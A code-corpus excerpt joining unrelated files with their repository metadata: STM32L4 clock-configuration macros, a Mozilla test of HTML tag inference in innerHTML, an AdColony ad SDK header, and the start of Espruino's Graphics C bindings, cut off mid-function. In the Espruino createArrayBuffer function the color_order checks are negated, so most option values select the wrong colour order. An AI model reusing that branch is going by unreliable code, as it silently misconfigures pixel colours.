IS_RCC_PERIPHCLOCK(__SELECTION__) \ ((((__SELECTION__) & RCC_PERIPHCLK_USART1) == RCC_PERIPHCLK_USART1) || \ (((__SELECTION__) & RCC_PERIPHCLK_USART2) == RCC_PERIPHCLK_USART2) || \ (((__SELECTION__) & RCC_PERIPHCLK_USART3) == RCC_PERIPHCLK_USART3) || \ (((__SELECTION__) & RCC_PERIPHCLK_LPUART1) == RCC_PERIPHCLK_LPUART1) || \ (((__SELECTION__) & RCC_PERIPHCLK_I2C1) == RCC_PERIPHCLK_I2C1) || \ (((__SELECTION__) & RCC_PERIPHCLK_I2C2) == RCC_PERIPHCLK_I2C2) || \ (((__SELECTION__) & RCC_PERIPHCLK_I2C3) == RCC_PERIPHCLK_I2C3) || \ (((__SELECTION__) & RCC_PERIPHCLK_LPTIM1) == RCC_PERIPHCLK_LPTIM1) || \ (((__SELECTION__) & RCC_PERIPHCLK_LPTIM2) == RCC_PERIPHCLK_LPTIM2) || \ (((__SELECTION__) & RCC_PERIPHCLK_SAI1) == RCC_PERIPHCLK_SAI1) || \ (((__SELECTION__) & RCC_PERIPHCLK_USB) == RCC_PERIPHCLK_USB) || \ (((__SELECTION__) & RCC_PERIPHCLK_ADC) == RCC_PERIPHCLK_ADC) || \ (((__SELECTION__) & RCC_PERIPHCLK_SWPMI1) == RCC_PERIPHCLK_SWPMI1) || \ (((__SELECTION__) & RCC_PERIPHCLK_RTC) == RCC_PERIPHCLK_RTC) || \ (((__SELECTION__) & RCC_PERIPHCLK_RNG) == RCC_PERIPHCLK_RNG) || \ (((__SELECTION__) & RCC_PERIPHCLK_SDMMC1) == RCC_PERIPHCLK_SDMMC1)) #elif defined(STM32L471xx) #define IS_RCC_PERIPHCLOCK(__SELECTION__) \ ((((__SELECTION__) & RCC_PERIPHCLK_USART1) == RCC_PERIPHCLK_USART1) || \ (((__SELECTION__) & RCC_PERIPHCLK_USART2) == RCC_PERIPHCLK_USART2) || \ (((__SELECTION__) & RCC_PERIPHCLK_USART3) == RCC_PERIPHCLK_USART3) || \ (((__SELECTION__) & RCC_PERIPHCLK_UART4) == RCC_PERIPHCLK_UART4) || \ (((__SELECTION__) & RCC_PERIPHCLK_UART5) == RCC_PERIPHCLK_UART5) || \ (((__SELECTION__) & RCC_PERIPHCLK_LPUART1) == RCC_PERIPHCLK_LPUART1) || \ (((__SELECTION__) & RCC_PERIPHCLK_I2C1) == RCC_PERIPHCLK_I2C1) || \ (((__SELECTION__) & RCC_PERIPHCLK_I2C2) == RCC_PERIPHCLK_I2C2) || \ (((__SELECTION__) & RCC_PERIPHCLK_I2C3) == RCC_PERIPHCLK_I2C3) || \ (((__SELECTION__) & RCC_PERIPHCLK_LPTIM1) == RCC_PERIPHCLK_LPTIM1) || \ (((__SELECTION__) & RCC_PERIPHCLK_LPTIM2) == RCC_PERIPHCLK_LPTIM2) || \ (((__SELECTION__) & RCC_PERIPHCLK_SAI1) == RCC_PERIPHCLK_SAI1) || \ (((__SELECTION__) & RCC_PERIPHCLK_SAI2) == RCC_PERIPHCLK_SAI2) || \ (((__SELECTION__) & RCC_PERIPHCLK_ADC) == RCC_PERIPHCLK_ADC) || \ (((__SELECTION__) & RCC_PERIPHCLK_SWPMI1) == RCC_PERIPHCLK_SWPMI1) || \ (((__SELECTION__) & RCC_PERIPHCLK_DFSDM1) == RCC_PERIPHCLK_DFSDM1) || \ (((__SELECTION__) & RCC_PERIPHCLK_RTC) == RCC_PERIPHCLK_RTC) || \ (((__SELECTION__) & RCC_PERIPHCLK_RNG) == RCC_PERIPHCLK_RNG) || \ (((__SELECTION__) & RCC_PERIPHCLK_SDMMC1) == RCC_PERIPHCLK_SDMMC1)) #else #define IS_RCC_PERIPHCLOCK(__SELECTION__) \ ((((__SELECTION__) & RCC_PERIPHCLK_USART1) == RCC_PERIPHCLK_USART1) || \ (((__SELECTION__) & RCC_PERIPHCLK_USART2) == RCC_PERIPHCLK_USART2) || \ (((__SELECTION__) & RCC_PERIPHCLK_USART3) == RCC_PERIPHCLK_USART3) || \ (((__SELECTION__) & RCC_PERIPHCLK_UART4) == RCC_PERIPHCLK_UART4) || \ (((__SELECTION__) & RCC_PERIPHCLK_UART5) == RCC_PERIPHCLK_UART5) || \ (((__SELECTION__) & RCC_PERIPHCLK_LPUART1) == RCC_PERIPHCLK_LPUART1) || \ (((__SELECTION__) & RCC_PERIPHCLK_I2C1) == RCC_PERIPHCLK_I2C1) || \ (((__SELECTION__) & RCC_PERIPHCLK_I2C2) == RCC_PERIPHCLK_I2C2) || \ (((__SELECTION__) & RCC_PERIPHCLK_I2C3) == RCC_PERIPHCLK_I2C3) || \ (((__SELECTION__) & RCC_PERIPHCLK_LPTIM1) == RCC_PERIPHCLK_LPTIM1) || \ (((__SELECTION__) & RCC_PERIPHCLK_LPTIM2) == RCC_PERIPHCLK_LPTIM2) || \ (((__SELECTION__) & RCC_PERIPHCLK_SAI1) == RCC_PERIPHCLK_SAI1) || \ (((__SELECTION__) & RCC_PERIPHCLK_SAI2) == RCC_PERIPHCLK_SAI2) || \ (((__SELECTION__) & RCC_PERIPHCLK_USB) == RCC_PERIPHCLK_USB) || \ (((__SELECTION__) & RCC_PERIPHCLK_ADC) == RCC_PERIPHCLK_ADC) || \ (((__SELECTION__) & RCC_PERIPHCLK_SWPMI1) == RCC_PERIPHCLK_SWPMI1) || \ (((__SELECTION__) & RCC_PERIPHCLK_DFSDM1) == RCC_PERIPHCLK_DFSDM1) || \ (((__SELECTION__) & RCC_PERIPHCLK_RTC) == RCC_PERIPHCLK_RTC) || \ (((__SELECTION__) & RCC_PERIPHCLK_RNG) == RCC_PERIPHCLK_RNG) || \ (((__SELECTION__) & RCC_PERIPHCLK_SDMMC1) == RCC_PERIPHCLK_SDMMC1)) #endif /* STM32L431xx */ #define IS_RCC_USART1CLKSOURCE(__SOURCE__) \ (((__SOURCE__) == RCC_USART1CLKSOURCE_PCLK2) || \ ((__SOURCE__) == RCC_USART1CLKSOURCE_SYSCLK) || \ ((__SOURCE__) == RCC_USART1CLKSOURCE_LSE) || \ ((__SOURCE__) == RCC_USART1CLKSOURCE_HSI)) #define IS_RCC_USART2CLKSOURCE(__SOURCE__) \ (((__SOURCE__) == RCC_USART2CLKSOURCE_PCLK1) || \ ((__SOURCE__) == RCC_USART2CLKSOURCE_SYSCLK) || \ ((__SOURCE__) == RCC_USART2CLKSOURCE_LSE) || \ ((__SOURCE__) == RCC_USART2CLKSOURCE_HSI)) #if defined(USART3) #define IS_RCC_USART3CLKSOURCE(__SOURCE__) \ (((__SOURCE__) == RCC_USART3CLKSOURCE_PCLK1) || \ ((__SOURCE__) == RCC_USART3CLKSOURCE_SYSCLK) || \ ((__SOURCE__) == RCC_USART3CLKSOURCE_LSE) || \ ((__SOURCE__) == RCC_USART3CLKSOURCE_HSI)) #endif /* USART3 */ #if defined(UART4) #define IS_RCC_UART4CLKSOURCE(__SOURCE__) \ (((__SOURCE__) == RCC_UART4CLKSOURCE_PCLK1) || \ ((__SOURCE__) == RCC_UART4CLKSOURCE_SYSCLK) || \ ((__SOURCE__) == RCC_UART4CLKSOURCE_LSE) || \ ((__SOURCE__) == RCC_UART4CLKSOURCE_HSI)) #endif /* UART4 */ #if defined(UART5) #define IS_RCC_UART5CLKSOURCE(__SOURCE__) \ (((__SOURCE__) == RCC_UART5CLKSOURCE_PCLK1) || \ ((__SOURCE__) == RCC_UART5CLKSOURCE_SYSCLK) || \ ((__SOURCE__) == RCC_UART5CLKSOURCE_LSE) || \ ((__SOURCE__) == RCC_UART5CLKSOURCE_HSI)) #endif /* UART5 */ #define IS_RCC_LPUART1CLKSOURCE(__SOURCE__) \ (((__SOURCE__) == RCC_LPUART1CLKSOURCE_PCLK1) || \ ((__SOURCE__) == RCC_LPUART1CLKSOURCE_SYSCLK) || \ ((__SOURCE__) == RCC_LPUART1CLKSOURCE_LSE) || \ ((__SOURCE__) == RCC_LPUART1CLKSOURCE_HSI)) #define IS_RCC_I2C1CLKSOURCE(__SOURCE__) \ (((__SOURCE__) == RCC_I2C1CLKSOURCE_PCLK1) || \ ((__SOURCE__) == RCC_I2C1CLKSOURCE_SYSCLK)|| \ ((__SOURCE__) == RCC_I2C1CLKSOURCE_HSI)) #if defined(I2C2) #define IS_RCC_I2C2CLKSOURCE(__SOURCE__) \ (((__SOURCE__) == RCC_I2C2CLKSOURCE_PCLK1) || \ ((__SOURCE__) == RCC_I2C2CLKSOURCE_SYSCLK)|| \ ((__SOURCE__) == RCC_I2C2CLKSOURCE_HSI)) #endif /* I2C2 */ #define IS_RCC_I2C3CLKSOURCE(__SOURCE__) \ (((__SOURCE__) == RCC_I2C3CLKSOURCE_PCLK1) || \ ((__SOURCE__) == RCC_I2C3CLKSOURCE_SYSCLK)|| \ ((__SOURCE__) == RCC_I2C3CLKSOURCE_HSI)) #if defined(RCC_PLLSAI2_SUPPORT) #define IS_RCC_SAI1CLK(__SOURCE__) \ (((__SOURCE__) == RCC_SAI1CLKSOURCE_PLLSAI1) || \ ((__SOURCE__) == RCC_SAI1CLKSOURCE_PLLSAI2) || \ ((__SOURCE__) == RCC_SAI1CLKSOURCE_PLL) || \ ((__SOURCE__) == RCC_SAI1CLKSOURCE_PIN)) #else #define IS_RCC_SAI1CLK(__SOURCE__) \ (((__SOURCE__) == RCC_SAI1CLKSOURCE_PLLSAI1) || \ ((__SOURCE__) == RCC_SAI1CLKSOURCE_PLL) || \ ((__SOURCE__) == RCC_SAI1CLKSOURCE_PIN)) #endif /* RCC_PLLSAI2_SUPPORT */ #if defined(RCC_PLLSAI2_SUPPORT) #define IS_RCC_SAI2CLK(__SOURCE__) \ (((__SOURCE__) == RCC_SAI2CLKSOURCE_PLLSAI1) || \ ((__SOURCE__) == RCC_SAI2CLKSOURCE_PLLSAI2) || \ ((__SOURCE__) == RCC_SAI2CLKSOURCE_PLL) || \ ((__SOURCE__) == RCC_SAI2CLKSOURCE_PIN)) #endif /* RCC_PLLSAI2_SUPPORT */ #define IS_RCC_LPTIM1CLK(__SOURCE__) \ (((__SOURCE__) == RCC_LPTIM1CLKSOURCE_PCLK) || \ ((__SOURCE__) == RCC_LPTIM1CLKSOURCE_LSI) || \ ((__SOURCE__) == RCC_LPTIM1CLKSOURCE_HSI) || \ ((__SOURCE__) == RCC_LPTIM1CLKSOURCE_LSE)) #define IS_RCC_LPTIM2CLK(__SOURCE__) \ (((__SOURCE__) == RCC_LPTIM2CLKSOURCE_PCLK) || \ ((__SOURCE__) == RCC_LPTIM2CLKSOURCE_LSI) || \ ((__SOURCE__) == RCC_LPTIM2CLKSOURCE_HSI) || \ ((__SOURCE__) == RCC_LPTIM2CLKSOURCE_LSE)) #if defined(SDMMC1) #if defined(RCC_HSI48_SUPPORT) #define IS_RCC_SDMMC1CLKSOURCE(__SOURCE__) \ (((__SOURCE__) == RCC_SDMMC1CLKSOURCE_HSI48) || \ ((__SOURCE__) == RCC_SDMMC1CLKSOURCE_PLLSAI1) || \ ((__SOURCE__) == RCC_SDMMC1CLKSOURCE_PLL) || \ ((__SOURCE__) == RCC_SDMMC1CLKSOURCE_MSI)) #else #define IS_RCC_SDMMC1CLKSOURCE(__SOURCE__) \ (((__SOURCE__) == RCC_SDMMC1CLKSOURCE_NONE) || \ ((__SOURCE__) == RCC_SDMMC1CLKSOURCE_PLLSAI1) || \ ((__SOURCE__) == RCC_SDMMC1CLKSOURCE_PLL) || \ ((__SOURCE__) == RCC_SDMMC1CLKSOURCE_MSI)) #endif /* RCC_HSI48_SUPPORT */ #endif /* SDMMC1 */ #if defined(RCC_HSI48_SUPPORT) #define IS_RCC_RNGCLKSOURCE(__SOURCE__) \ (((__SOURCE__) == RCC_RNGCLKSOURCE_HSI48) || \ ((__SOURCE__) == RCC_RNGCLKSOURCE_PLLSAI1) || \ ((__SOURCE__) == RCC_RNGCLKSOURCE_PLL) || \ ((__SOURCE__) == RCC_RNGCLKSOURCE_MSI)) #else #define IS_RCC_RNGCLKSOURCE(__SOURCE__) \ (((__SOURCE__) == RCC_RNGCLKSOURCE_NONE) || \ ((__SOURCE__) == RCC_RNGCLKSOURCE_PLLSAI1) || \ ((__SOURCE__) == RCC_RNGCLKSOURCE_PLL) || \ ((__SOURCE__) == RCC_RNGCLKSOURCE_MSI)) #endif /* RCC_HSI48_SUPPORT */ #if defined(USB_OTG_FS) || defined(USB) #if defined(RCC_HSI48_SUPPORT) #define IS_RCC_USBCLKSOURCE(__SOURCE__) \ (((__SOURCE__) == RCC_USBCLKSOURCE_HSI48) || \ ((__SOURCE__) == RCC_USBCLKSOURCE_PLLSAI1) || \ ((__SOURCE__) == RCC_USBCLKSOURCE_PLL) || \ ((__SOURCE__) == RCC_USBCLKSOURCE_MSI)) #else #define IS_RCC_USBCLKSOURCE(__SOURCE__) \ (((__SOURCE__) == RCC_USBCLKSOURCE_NONE) || \ ((__SOURCE__) == RCC_USBCLKSOURCE_PLLSAI1) || \ ((__SOURCE__) == RCC_USBCLKSOURCE_PLL) || \ ((__SOURCE__) == RCC_USBCLKSOURCE_MSI)) #endif /* RCC_HSI48_SUPPORT */ #endif /* USB_OTG_FS || USB */ #if defined(STM32L471xx) || defined(STM32L475xx) || defined(STM32L476xx) || defined(STM32L485xx) || defined(STM32L486xx) #define IS_RCC_ADCCLKSOURCE(__SOURCE__) \ (((__SOURCE__) == RCC_ADCCLKSOURCE_NONE) || \ ((__SOURCE__) == RCC_ADCCLKSOURCE_PLLSAI1) || \ ((__SOURCE__) == RCC_ADCCLKSOURCE_PLLSAI2) || \ ((__SOURCE__) == RCC_ADCCLKSOURCE_SYSCLK)) #else #define IS_RCC_ADCCLKSOURCE(__SOURCE__) \ (((__SOURCE__) == RCC_ADCCLKSOURCE_NONE) || \ ((__SOURCE__) == RCC_ADCCLKSOURCE_PLLSAI1) || \ ((__SOURCE__) == RCC_ADCCLKSOURCE_SYSCLK)) #endif /* STM32L471xx || STM32L475xx || STM32L476xx || STM32L485xx || STM32L486xx */ #if defined(SWPMI1) #define IS_RCC_SWPMI1CLKSOURCE(__SOURCE__) \ (((__SOURCE__) == RCC_SWPMI1CLKSOURCE_PCLK) || \ ((__SOURCE__) == RCC_SWPMI1CLKSOURCE_HSI)) #endif /* SWPMI1 */ #if defined(DFSDM1_Filter0) #define IS_RCC_DFSDM1CLKSOURCE(__SOURCE__) \ (((__SOURCE__) == RCC_DFSDM1CLKSOURCE_PCLK) || \ ((__SOURCE__) == RCC_DFSDM1CLKSOURCE_SYSCLK)) #endif /* DFSDM1_Filter0 */ #define IS_RCC_PLLSAI1SOURCE(__VALUE__) IS_RCC_PLLSOURCE(__VALUE__) #define IS_RCC_PLLSAI1M_VALUE(__VALUE__) ((1U <= (__VALUE__)) && ((__VALUE__) <= 8U)) #define IS_RCC_PLLSAI1N_VALUE(__VALUE__) ((8U <= (__VALUE__)) && ((__VALUE__) <= 86U)) #if defined(RCC_PLLSAI1P_DIV_2_31_SUPPORT) #define IS_RCC_PLLSAI1P_VALUE(__VALUE__) (((__VALUE__) >= 2U) && ((__VALUE__) <= 31U)) #else #define IS_RCC_PLLSAI1P_VALUE(__VALUE__) (((__VALUE__) == 7U) || ((__VALUE__) == 17U)) #endif /* RCC_PLLSAI1P_DIV_2_31_SUPPORT */ #define IS_RCC_PLLSAI1Q_VALUE(__VALUE__) (((__VALUE__) == 2U) || ((__VALUE__) == 4U) || \ ((__VALUE__) == 6U) || ((__VALUE__) == 8U)) #define IS_RCC_PLLSAI1R_VALUE(__VALUE__) (((__VALUE__) == 2U) || ((__VALUE__) == 4U) || \ ((__VALUE__) == 6U) || ((__VALUE__) == 8U)) #if defined(RCC_PLLSAI2_SUPPORT) #define IS_RCC_PLLSAI2SOURCE(__VALUE__) IS_RCC_PLLSOURCE(__VALUE__) #define IS_RCC_PLLSAI2M_VALUE(__VALUE__) ((1U <= (__VALUE__)) && ((__VALUE__) <= 8U)) #define IS_RCC_PLLSAI2N_VALUE(__VALUE__) ((8U <= (__VALUE__)) && ((__VALUE__) <= 86U)) #if defined(RCC_PLLSAI2P_DIV_2_31_SUPPORT) #define IS_RCC_PLLSAI2P_VALUE(__VALUE__) (((__VALUE__) >= 2U) && ((__VALUE__) <= 31U)) #else #define IS_RCC_PLLSAI2P_VALUE(__VALUE__) (((__VALUE__) == 7U) || ((__VALUE__) == 17U)) #endif /* RCC_PLLSAI2P_DIV_2_31_SUPPORT */ #define IS_RCC_PLLSAI2R_VALUE(__VALUE__) (((__VALUE__) == 2U) || ((__VALUE__) == 4U) || \ ((__VALUE__) == 6U) || ((__VALUE__) == 8U)) #endif /* RCC_PLLSAI2_SUPPORT */ #if defined(CRS) #define IS_RCC_CRS_SYNC_SOURCE(__SOURCE__) (((__SOURCE__) == RCC_CRS_SYNC_SOURCE_GPIO) || \ ((__SOURCE__) == RCC_CRS_SYNC_SOURCE_LSE) || \ ((__SOURCE__) == RCC_CRS_SYNC_SOURCE_USB)) #define IS_RCC_CRS_SYNC_DIV(__DIV__) (((__DIV__) == RCC_CRS_SYNC_DIV1) || ((__DIV__) == RCC_CRS_SYNC_DIV2) || \ ((__DIV__) == RCC_CRS_SYNC_DIV4) || ((__DIV__) == RCC_CRS_SYNC_DIV8) || \ ((__DIV__) == RCC_CRS_SYNC_DIV16) || ((__DIV__) == RCC_CRS_SYNC_DIV32) || \ ((__DIV__) == RCC_CRS_SYNC_DIV64) || ((__DIV__) == RCC_CRS_SYNC_DIV128)) #define IS_RCC_CRS_SYNC_POLARITY(__POLARITY__) (((__POLARITY__) == RCC_CRS_SYNC_POLARITY_RISING) || \ ((__POLARITY__) == RCC_CRS_SYNC_POLARITY_FALLING)) #define IS_RCC_CRS_RELOADVALUE(__VALUE__) (((__VALUE__) <= 0xFFFFU)) #define IS_RCC_CRS_ERRORLIMIT(__VALUE__) (((__VALUE__) <= 0xFFU)) #define IS_RCC_CRS_HSI48CALIBRATION(__VALUE__) (((__VALUE__) <= 0x3FU)) #define IS_RCC_CRS_FREQERRORDIR(__DIR__) (((__DIR__) == RCC_CRS_FREQERRORDIR_UP) || \ ((__DIR__) == RCC_CRS_FREQERRORDIR_DOWN)) #endif /* CRS */ /** * @} */ /** * @} */ /** * @} */ #ifdef __cplusplus } #endif #endif /* __STM32L4xx_HAL_RCC_EX_H */ /************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
wilberforce/Espruino
targetlibs/stm32l4/lib/STM32L4xx_HAL_Driver/Inc/stm32l4xx_hal_rcc_ex.h
C
mpl-2.0
103,701
<!DOCTYPE HTML> <html> <!-- https://bugzilla.mozilla.org/show_bug.cgi?id=585819 --> <head> <title>Test for Bug 585819</title> <script type="text/javascript" src="/MochiKit/MochiKit.js"></script> <script type="text/javascript" src="/tests/SimpleTest/SimpleTest.js"></script> <link rel="stylesheet" type="text/css" href="/tests/SimpleTest/test.css" /> </head> <body> <a target="_blank" href="https://bugzilla.mozilla.org/show_bug.cgi?id=585819">Mozilla Bug 585819</a> <p id="display"></p> <div id="content" style="display: none"> <iframe></iframe> </div> <pre id="test"> <script class="testbody" type="text/javascript"> /** Test for Bug 585819 **/ var range = document.createRange(); range.setStartBefore(document.body); var fragment = range.createContextualFragment("<span></span>"); is(fragment.firstChild.localName, "span", "We don't want tag inference here!"); var iframeDoc = document.getElementsByTagName("iframe")[0].contentDocument; var root = iframeDoc.documentElement; is(root.localName, "html", "Wrong root."); root.innerHTML = "<span></span>"; is(root.firstChild.localName, "head", "We want inference here!"); </script> </pre> </body> </html>
Yukarumya/Yukarum-Redfoxes
dom/tests/mochitest/bugs/test_bug585819.html
HTML
mpl-2.0
1,168
// // Copyright 2016, AdColony, Inc. // #import <GoogleMobileAds/GoogleMobileAds.h> @interface GADMAdapterAdColonyExtras : NSObject<GADAdNetworkExtras> /// Optional custom identifier for the current user for rewarded video, this will be used within /// server authoritative rewards. /// This must be 128 characters or less. @property NSString *userId; /// Enables reward dialogs to be shown before an advertisement. @property BOOL showPrePopup; /// Enables reward dialogs to be shown after an advertisement. @property BOOL showPostPopup; /// Enables test ads for your application without changing dashboard settings. @property BOOL testMode; /// Inform AdColony that GDPR should be considered for the user. @property (nonatomic) BOOL gdprRequired; /// End user's IAB compatiable GDPR consent string. /// See: https://github.com/AdColony/AdColony-iOS-SDK-3/wiki/GDPR @property (nonatomic) NSString *gdprConsentString; @end
ludei/atomic-plugins-ads
src/cordova/ios/admob/adcolony/libs/AdColonyAdapter.framework/Versions/Current/Headers/GADMAdapterAdColonyExtras.h
C
mpl-2.0
931
/* * This file is part of Espruino, a JavaScript interpreter for Microcontrollers * * Copyright (C) 2013 Gordon Williams <gw@pur3.co.uk> * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. * * ---------------------------------------------------------------------------- * This file is designed to be parsed during the build process * * Contains JavaScript Graphics Draw Functions * ---------------------------------------------------------------------------- */ #include "jswrap_graphics.h" #include "jsutils.h" #include "jsinteractive.h" #include "lcd_arraybuffer.h" #include "lcd_js.h" #ifdef USE_LCD_SDL #include "lcd_sdl.h" #endif #ifdef USE_LCD_FSMC #include "lcd_fsmc.h" #endif #include "bitmap_font_4x6.h" /*JSON{ "type" : "class", "class" : "Graphics" } This class provides Graphics operations that can be applied to a surface. Use Graphics.createXXX to create a graphics object that renders in the way you want. See [the Graphics page](/Graphics) for more information. **Note:** On boards that contain an LCD, there is a built-in 'LCD' object of type Graphics. For instance to draw a line you'd type: ```LCD.drawLine(0,0,100,100)``` */ /*JSON{ "type" : "idle", "generate" : "jswrap_graphics_idle" }*/ bool jswrap_graphics_idle() { graphicsIdle(); return false; } /*JSON{ "type" : "init", "generate" : "jswrap_graphics_init" }*/ void jswrap_graphics_init() { #ifdef USE_LCD_FSMC JsVar *parent = jspNewObject("LCD", "Graphics"); if (parent) { JsVar *parentObj = jsvSkipName(parent); JsGraphics gfx; graphicsStructInit(&gfx); gfx.data.type = JSGRAPHICSTYPE_FSMC; gfx.graphicsVar = parentObj; gfx.data.width = 320; gfx.data.height = 240; gfx.data.bpp = 16; lcdInit_FSMC(&gfx); lcdSetCallbacks_FSMC(&gfx); graphicsSplash(&gfx); graphicsSetVar(&gfx); jsvUnLock2(parentObj, parent); } #endif } static bool isValidBPP(int bpp) { return bpp==1 || bpp==2 || bpp==4 || bpp==8 || bpp==16 || bpp==24 || bpp==32; // currently one colour can't ever be spread across multiple bytes } /*JSON{ "type" : "staticmethod", "class" : "Graphics", "name" : "createArrayBuffer", "generate" : "jswrap_graphics_createArrayBuffer", "params" : [ ["width","int32","Pixels wide"], ["height","int32","Pixels high"], ["bpp","int32","Number of bits per pixel"], ["options","JsVar",[ "An object of other options. ```{ zigzag : true/false(default), vertical_byte : true/false(default), msb : true/false(default), color_order: 'rgb'(default),'bgr',etc }```", "zigzag = whether to alternate the direction of scanlines for rows", "vertical_byte = whether to align bits in a byte vertically or not", "msb = when bits<8, store pixels msb first", "color_order = re-orders the colour values that are supplied via setColor" ]] ], "return" : ["JsVar","The new Graphics object"], "return_object" : "Graphics" } Create a Graphics object that renders to an Array Buffer. This will have a field called 'buffer' that can get used to get at the buffer itself */ JsVar *jswrap_graphics_createArrayBuffer(int width, int height, int bpp, JsVar *options) { if (width<=0 || height<=0 || width>1023 || height>1023) { jsWarn("Invalid Size"); return 0; } if (!isValidBPP(bpp)) { jsWarn("Invalid BPP"); return 0; } JsVar *parent = jspNewObject(0, "Graphics"); if (!parent) return 0; // low memory JsGraphics gfx; graphicsStructInit(&gfx); gfx.data.type = JSGRAPHICSTYPE_ARRAYBUFFER; gfx.data.flags = JSGRAPHICSFLAGS_NONE; gfx.graphicsVar = parent; gfx.data.width = (unsigned short)width; gfx.data.height = (unsigned short)height; gfx.data.bpp = (unsigned char)bpp; if (jsvIsObject(options)) { if (jsvGetBoolAndUnLock(jsvObjectGetChild(options, "zigzag", 0))) gfx.data.flags = (JsGraphicsFlags)(gfx.data.flags | JSGRAPHICSFLAGS_ARRAYBUFFER_ZIGZAG); if (jsvGetBoolAndUnLock(jsvObjectGetChild(options, "msb", 0))) gfx.data.flags = (JsGraphicsFlags)(gfx.data.flags | JSGRAPHICSFLAGS_ARRAYBUFFER_MSB); if (jsvGetBoolAndUnLock(jsvObjectGetChild(options, "vertical_byte", 0))) { if (gfx.data.bpp==1) gfx.data.flags = (JsGraphicsFlags)(gfx.data.flags | JSGRAPHICSFLAGS_ARRAYBUFFER_VERTICAL_BYTE); else jsWarn("vertical_byte only works for 1bpp ArrayBuffers\n"); } JsVar *colorv = jsvObjectGetChild(options, "color_order", 0); if (colorv) { if (jsvIsStringEqual(colorv, "rgb")) ; // The default else if (!jsvIsStringEqual(colorv, "brg")) gfx.data.flags = (JsGraphicsFlags)(gfx.data.flags | JSGRAPHICSFLAGS_COLOR_BRG); else if (!jsvIsStringEqual(colorv, "bgr")) gfx.data.flags = (JsGraphicsFlags)(gfx.data.flags | JSGRAPHICSFLAGS_COLOR_BGR); else if (!jsvIsStringEqual(colorv, "gbr")) gfx.data.flags = (JsGraphicsFlags)(gfx.data.flags | JSGRAPHICSFLAGS_COLOR_GBR); else if (!jsvIsStringEqual(colorv, "grb")) gfx.data.flags = (JsGraphicsFlags)(gfx.data.flags | JSGRAPHICSFLAGS_COLOR_GRB); else if (!jsvIsStringEqual(colorv, "rbg")) gfx.data.flags = (JsGraphicsFlags)(gfx.data.flags | JSGRAPHICSFLAGS_COLOR_RBG); else jsWarn("color_order must be 3 characters"); jsvUnLock(colorv); } } lcdInit_ArrayBuffer(&gfx); graphicsSetVar(&gfx); return parent; } /*JSON{ "type" : "staticmethod", "class" : "Graphics", "name" : "createCallback", "generate" : "jswrap_graphics_createCallback", "params" : [ ["width","int32","Pixels wide"], ["height","int32","Pixels high"], ["bpp","int32","Number of bits per pixel"], ["callback","JsVar","A function of the form ```function(x,y,col)``` that is called whenever a pixel needs to be drawn, or an object with: ```{setPixel:function(x,y,col),fillRect:function(x1,y1,x2,y2,col)}```. All arguments are already bounds checked."] ], "return" : ["JsVar","The new Graphics object"], "return_object" : "Graphics" } Create a Graphics object that renders by calling a JavaScript callback function to draw pixels */ JsVar *jswrap_graphics_createCallback(int width, int height, int bpp, JsVar *callback) { if (width<=0 || height<=0 || width>1023 || height>1023) { jsWarn("Invalid Size"); return 0; } if (!isValidBPP(bpp)) { jsWarn("Invalid BPP"); return 0; } JsVar *callbackSetPixel = 0; JsVar *callbackFillRect = 0; if (jsvIsObject(callback)) { jsvUnLock(callbackSetPixel); callbackSetPixel = jsvObjectGetChild(callback, "setPixel", 0); callbackFillRect = jsvObjectGetChild(callback, "fillRect", 0); } else callbackSetPixel = jsvLockAgain(callback); if (!jsvIsFunction(callbackSetPixel)) { jsExceptionHere(JSET_ERROR, "Expecting Callback Function or an Object but got %t", callbackSetPixel); jsvUnLock2(callbackSetPixel, callbackFillRect); return 0; } if (!jsvIsUndefined(callbackFillRect) && !jsvIsFunction(callbackFillRect)) { jsExceptionHere(JSET_ERROR, "Expecting Callback Function or an Object but got %t", callbackFillRect); jsvUnLock2(callbackSetPixel, callbackFillRect); return 0; } JsVar *parent = jspNewObject(0, "Graphics"); if (!parent) return 0; // low memory JsGraphics gfx; graphicsStructInit(&gfx); gfx.data.type = JSGRAPHICSTYPE_JS; gfx.graphicsVar = parent; gfx.data.width = (unsigned short)width; gfx.data.height = (unsigned short)height; gfx.data.bpp = (unsigned char)bpp; lcdInit_JS(&gfx, callbackSetPixel, callbackFillRect); graphicsSetVar(&gfx); jsvUnLock2(callbackSetPixel, callbackFillRect); return parent; } #ifdef USE_LCD_SDL /*JSON{ "type" : "staticmethod", "class" : "Graphics", "name" : "createSDL", "ifdef" : "USE_LCD_SDL", "generate" : "jswrap_graphics_createSDL", "params" : [ ["width","int32","Pixels wide"], ["height","int32","Pixels high"] ], "return" : ["JsVar","The new Graphics object"], "return_object" : "Graphics" } Create a Graphics object that renders to SDL window (Linux-based devices only) */ JsVar *jswrap_graphics_createSDL(int width, int height) { if (width<=0 || height<=0 || width>1023 || height>1023) { jsWarn("Invalid Size"); return 0; } JsVar *parent = jspNewObject(0, "Graphics"); if (!parent) return 0; // low memory JsGraphics gfx; graphicsStructInit(&gfx); gfx.data.type = JSGRAPHICSTYPE_SDL; gfx.graphicsVar = parent; gfx.data.width = (unsigned short)width; gfx.data.height = (unsigned short)height; gfx.data.bpp = 32; lcdInit_SDL(&gfx); graphicsSetVar(&gfx); return parent; } #endif /*JSON{ "type" : "method", "class" : "Graphics", "name" : "getWidth", "generate_full" : "jswrap_graphics_getWidthOrHeight(parent, false)", "return" : ["int","The width of the LCD"] } The width of the LCD */ /*JSON{ "type" : "method", "class" : "Graphics", "name" : "getHeight", "generate_full" : "jswrap_graphics_getWidthOrHeight(parent, true)", "return" : ["int","The height of the LCD"] } The height of the LCD */ int jswrap_graphics_getWidthOrHeight(JsVar *parent, bool height) { JsGraphics gfx; if (!graphicsGetFromVar(&gfx, parent)) return 0; if (gfx.data.flags & JSGRAPHICSFLAGS_SWAP_XY) height=!height; return height ? gfx.data.height : gfx.data.width; } /*JSON{ "type" : "method", "class" : "Graphics", "name" : "clear", "generate" : "jswrap_graphics_clear" } Clear the LCD with the Background Color */ void jswrap_graphics_clear(JsVar *parent) { JsGraphics gfx; if (!graphicsGetFromVar(&gfx, parent)) return; graphicsClear(&gfx); graphicsSetVar(&gfx); // gfx data changed because modified area } /*JSON{ "type" : "method", "class" : "Graphics", "name" : "fillRect", "generate" : "jswrap_graphics_fillRect", "params" : [ ["x1","int32","The left"], ["y1","int32","The top"], ["x2","int32","The right"], ["y2","int32","The bottom"] ] } Fill a rectangular area in the Foreground Color */ void 